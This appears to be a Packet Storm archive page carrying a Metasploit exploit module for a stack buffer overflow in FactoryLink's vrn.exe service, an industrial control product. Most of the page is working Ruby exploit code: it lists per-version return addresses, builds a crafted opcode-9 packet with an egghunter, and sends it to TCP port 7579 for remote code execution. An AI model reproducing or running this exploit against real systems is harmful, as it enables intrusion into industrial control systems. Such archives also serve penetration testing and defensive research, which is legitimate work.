what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FactoryLink vrn.exe Opcode 9 Buffer Overflow

FactoryLink vrn.exe Opcode 9 Buffer Overflow
Posted Jun 21, 2011
Authored by Luigi Auriemma, hal | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to execute arbitrary code. Originally found and posted by Luigi Auriemma.

tags | exploit, overflow, arbitrary
advisories | OSVDB-72815
SHA-256 | 180a8907d61d69a4ded59759afdcd03ea9f1757008b99fd69ef2a1c78f4f6f23

FactoryLink vrn.exe Opcode 9 Buffer Overflow

Change Mirror Download
##
# $Id: factorylink_vrn_09.rb 12996 2011-06-21 18:02:35Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703.
By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
Originally found and posted by Luigi Auriemma.
},
'Author' =>
[
'Luigi Auriemma', # Public exploit
'hal' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12996 $',
'References' =>
[
['OSVDB', '72815'],
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 885,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2011'))

register_options([Opt::RPORT(7579)], self.class)
end

def exploit
connect

hunter = generate_egghunter(payload.encoded, payload_badchars,
{ :checksum => true, :startreg => 'ebp'})

egg = hunter[1]

header = "\x3f\x3f\x3f\x3f"
header << "\xff\x55"
header << "\x09\x00"
header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
header << "\x3f\x3f"
header << "\xff\xff\xff\xff"
header << "\x3f\x3f"

request = header
request << rand_text_alpha_upper(100)
request << egg
request << ("C" * target['padding'])
request << "\xeb\x06\x90\x90"
request << [target.ret].pack('V')
request << "C"*24
request << hunter[0]
request << rand_text_alpha_upper(100000)

print_status("Trying target #{target.name} with #{request.size} bytes")
sock.put(request)

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close